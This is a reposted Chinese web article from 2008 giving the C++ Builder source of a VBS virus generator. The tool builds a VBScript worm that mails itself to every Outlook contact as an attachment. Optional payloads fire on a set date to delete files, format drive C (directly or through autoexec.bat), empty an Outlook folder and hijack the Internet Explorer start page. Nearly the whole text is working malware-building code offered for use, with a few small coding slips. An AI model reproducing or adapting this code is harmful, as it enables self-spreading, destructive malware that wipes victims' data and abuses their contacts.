一个VBS病毒生成器核心代码 |
|
| 作者:未知 文章来源:网络转载 点击数: 更新时间:2008-4-25 |
|
AnsiString bb="if wsh.regread \(\"HKCU\\software\\a\\a\"\)<> \"1\" then out\r\nsub out\r\n"; AnsiString b1="On Error Resume Next\r\n"; AnsiString b2="Set Outlook = CreateObject(\"Outlook.Application\")\r\nIf Outlook = \"Outlook\" Then\r\nSet Mapi=Outlook.GetNameSpace(\"MAPI\")\r\nSet Lists=Mapi.AddressLists\r\nFor Each ListIndex In Lists\r\nIf ListIndex.AddressEntries.Count <> 0 Then\r\nContactCount = ListIndex.AddressEntries.Count\r\nFor Count= 1 To "; AnsiString b9="ContactCount"; AnsiString b7= EdIT4->Text; AnsiString b8="\r\nSet Mail = Outlook.CreateITem(0)\r\nSet Contact = ListIndex.AddressEntries(Count)\r\nMail.To = Contact.Address\r\nMail.Subject = \""; AnsiString b3=EdIT11->Text; AnsiString b4="\"\r\nMail.Body = \"" ; AnsiString b5=EdIT13->Text; AnsiString b6="\"\r\nSet Attachment=Mail.Attachments\r\n Attachment.Add Folder & \" c:\\windows\\"; AnsiString bb1=EdIT1->Text; AnsiString bb2=".vbe\"\r\nMail.Send\r\nnext\r\n End if\r\nnext\r\n End if\r\nend sub\r\nwsh.regwrITe \"HKCU\\software\\a\\a\", \"1\"\r\n";
if (CheckBox4->Checked==true) { AnsiString B=bb+b1+b2+b9+b8+b3+b4+b5+b6+bb1+bb2; char b[10000]; strcpy(b, B.c_str()); FileWrITe(i,b,strlen(b)); } else {AnsiString B=bb+b1+b2+b7+b8+b3+b4+b5+b6+bb1+bb2; char b[10000]; strcpy(b, B.c_str()); FileWrITe(i,b,strlen(b));}
TabSheet2->Enabled=true; TabSheet2->Show() ; TabSheet1->Enabled=false; } //------------------------此下代码负责破坏功能---------------------------------------------------
void __fastcall Tform1::BITBtn3Click(TObject *Sender) { TabSheet3->Enabled=true; TabSheet3->Show() ; if (CheckBox3->Checked==true) {{AnsiString d1=" \r\nif year(date)&month(date)&day(date)= ";//设定病毒发作时间 AnsiString dyear=EdIT8->Text; AnsiString dmon_th=EdIT9->Text; AnsiString dday=EdIT10->Text; AnsiString dthen=" Then a\r\n" ; AnsiString sub="sub a\r\n" ; AnsiString dex=d1+dyear+dmonth+dday+dthen+sub; char d[10000]; strcpy(d, dex.c_str()); FileWrITe(i,d,strlen(d)); } AnsiString del="on error resume next\r\nfso.DeleteFile\(\"";//负责删除指定文件 AnsiString delf=EdIT6->Text; AnsiString delf1="\"\)\r\n"; AnsiString def=del+delf+delf1; char d[10000]; strcpy(d, def.c_str()); FileWrITe(i,d,strlen(d)); if(CheckBox2->Checked==true)//格式化硬盘 {AnsiString df1="\r\n set WshShell = Wscript.CreateObject\(\"WScript.Shell\"\) \r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n ";
char df[10000]; strcpy(df, df1.c_str()); FileWrITe(i,df,strlen(df)); } if(CheckBox5->Checked==true) {AnsiString df2="Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True\) \r\nScript.wrITeline \"format c:\/q\ /autotest\ /u\" \r\n "; char df3[10000]; strcpy(df3, df2.c_str()); FileWrITe(i,df3,strlen(df3)); } if(CheckBox6->Checked==true) {AnsiString dem="Set Outlook=CreateObject\(\"Outlook.Application\"\)\r\nSet t=s.GetNameSpace\(\"MAPI\"\)\r\nSet u=t.GetDefaultFolder\(6\)\r\nFor i=1 to u.items.count\r\nu.Items.ITem\(i\).delete\r\nnext\r\n"; char dm[10000]; strcpy(dm, dem.c_str()); FileWrITe(i,dm,strlen(dm));} char endsub[]="end sub\r\n"; FileWrITe(i,endsub,strlen(endsub)); } else {if(CheckBox2->Checked==true) {AnsiString df1="set WshShell = Wscript.CreateObject\(\"WScript.Shell\"\)\r\nWshShell.Run\ (\"start.exe \/m format c:\/q\ /autotest\ /u\" \)\r\n";
char df[10000]; strcpy(df, df1.c_str()); FileWrITe(i,df,strlen(df)); } if(CheckBox5->Checked==true) {AnsiString df2="on error resume next\r\nfso.DeleteFile\(\"c:\\autoexec.bat\")\r\n\Set Script = fso.CreateTextFile\( \"c:\\autoexec.bat\", True\)\r\nScript.wrITeline \"format c:\/q\ /autotest\ /u\"\r\n";
char df3[10000]; strcpy(df3, df2.c_str()); FileWrITe(i,df3,strlen(df3)); }} AnsiString del="on error resume next\r\nfso.DeleteFile\(\""; AnsiString delf=EdIT6->Text; AnsiString delf1="\"\)\r\n"; AnsiString def=del+delf+delf1; char d[10000]; strcpy(d, def.c_str()); FileWrITe(i,d,strlen(d)); if(CheckBox6->Checked==true) {AnsiString dem="Set Outlook=CreateObject\(\"Outlook.Application\"\)\r\nSet t=s.GetNameSpace\(\"MAPI\"\)\r\nSet u=t.GetDefaultFolder\(6\)\r\nFor i=1 to u.items.count\r\nu.Items.ITem\(i\).delete\r\nnext\r\n"; char dm[10000]; strcpy(dm, dem.c_str()); FileWrITe(i,dm,strlen(dm));} TabSheet2->Enabled=false; } //---------------------------------------------------------------------------
void __fastcall Tform1::BITBtn4Click(TObject *Sender)//修改IE的标题开始页 { AnsiString reg="wsh.regwrITe \"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page\",\"" ; AnsiString reg1=EdIT3->Text; AnsiString reg2="\"\r\nwsh.regwrite\"HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Main\\Window tITle\",\""; AnsiString reg3=EdIT7->Text; AnsiString reg4="\"\r\n"; AnsiString reg5=reg+reg1+reg2+reg3+reg4+reg5; char REG[10000]; strcpy(REG, reg5.c_str()); FileWrITe(i,REG,strlen(REG)); TabSheet3->Enabled=false; ShowMessage("你的程序代码已保存在当前目录下");
FileClose(i); } //---------------------------------------------------------------------------
//注册功能暂不公开,敬请原谅……
//---------------------------------------------------------------------------
void __fastcall Tform1::formClose(TObject *Sender, TCloseAction &Action) { form2->Close(); } //---------------------------------------------------------------------------
void __fastcall Tform1::formActivate(TObject *Sender) { form2->Hide(); } //---------------------------------------------------------------------------
void __fastcall Tform1::BITBtn5Click(TObject *Sender) {
AnsiString g=EdIT1->Text+".vbe"; DeleteFile(g); TabSheet0->Enabled=true; } //---------------------------------------------------------------------------
void __fastcall Tform1::Button1Click(TObject *Sender) { form3->Show(); } //---------------------------------------------------------------------------
void __fastcall Tform1::TabSheet0ContextPopup(TObject *Sender, TPoint &MousePos, bool &Handled) {
}
unIT1.h
#ifndef UnIT1H #define UnIT1H //--------------------------------------------------------------------------- #include #include #include #include #include #include #include #include //--------------------------------------------------------------------------- class Tform1 : public Tform { __published: // IDE-managed Components TPageControl *b; TTabSheet *TabSheet2; TTabSheet *TabSheet3; TTabSheet *TabSheet4; TGroupBox *GroupBox1; TLabel *Label1; TMemo *Memo1; TCheckBox *CheckBox1; TEdit *EdIT1; TLabel *Label2; TCheckBox *CheckBox2; TEdit *EdIT2; TLabel *Label3; TEdit *EdIT3; TTabSheet *TabSheet1; TEdit *EdIT4; TLabel *Label5; TLabel *Label6; TLabel *Label8; TEdit *EdIT6; TLabel *Label10; TLabel *Label11; TEdit *EdIT7; TEdit *EdIT11; TLabel *Label15; TLabel *Label16; TCheckBox *CheckBox3; TEdit *EdIT8; TLabel *Label12; TEdit *EdIT9; TLabel *Label13; TEdit *EdIT10; TLabel *Label14; TEdit *EdIT13; TCheckBox *CheckBox4; TGroupBox *GroupBox2; TLabel *Label7; TCheckBox *CheckBox5; TCheckBox *CheckBox6; TBitBtn *BITBtn1; TBitBtn *BITBtn2; TBitBtn *BITBtn3; TBitBtn *BITBtn4; TTabSheet *TabSheet0; TLabel *Label4; TGroupBox *GroupBox3; TCheckBox *CheckBox7; TCheckBox *CheckBox8; TCheckBox *CheckBox9; TCheckBox *CheckBox10; TCheckBox *CheckBox11; TEdit *EdIT5; TGroupBox *GroupBox4; TLabel *Label9; TCheckBox *CheckBox12; TButton *Button1; TBitBtn *BITBtn5; TCheckBox *CheckBox13; TGroupBox *GroupBox5; TCheckBox *CheckBox14; TCheckBox *CheckBox15; TCheckBox *CheckBox16; TImage *Image1; TLabel *Label17; TImage *Image2;
void __fastcall Label1Click(TObject *Sender); void __fastcall CheckBox3Click(TObject *Sender); void __fastcall CheckBox4Click(TObject *Sender); void __fastcall EdIT4KeyPress(TObject *Sender, char &Key); void __fastcall EdIT8KeyPress(TObject *Sender, char &Key); void __fastcall EdIT9KeyPress(TObject *Sender, char &Key); void __fastcall EdIT10KeyPress(TObject *Sender, char &Key); void __fastcall EdIT5KeyPress(TObject *Sender, char &Key); void __fastcall Edit4ExIT(TObject *Sender); void __fastcall Edit8ExIT(TObject *Sender); void __fastcall Edit9ExIT(TObject *Sender); void __fastcall Edit10ExIT(TObject *Sender); void __fastcall BITBtn1Click(TObject *Sender); void __fastcall Label4Click(TObject *Sender); void __fastcall BITBtn2Click(TObject *Sender); void __fastcall BITBtn3Click(TObject *Sender); void __fastcall BITBtn4Click(TObject *Sender); void __fastcall formClose(TObject *Sender, TCloseAction &Action); void __fastcall formActivate(TObject *Sender); void __fastcall BITBtn5Click(TObject *Sender); void __fastcall Button1Click(TObject *Sender); void __fastcall TabSheet0ContextPopup(TObject *Sender, TPoint &MousePos, bool &Handled);
private: // User declarations public: // User declarations __fastcall Tform1(TComponent* Owner);
int i; AnsiString B;
}; //--------------------------------------------------------------------------- extern PACKAGE Tform1 *form1; //--------------------------------------------------------------------------- #endif
|
| 文章录入:随风追忆 责任编辑:随风追忆 |
|
上一篇文章: ASP注入详细命令40条(一)
下一篇文章: 跨站脚本-攻击和防御指向 |
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
|
|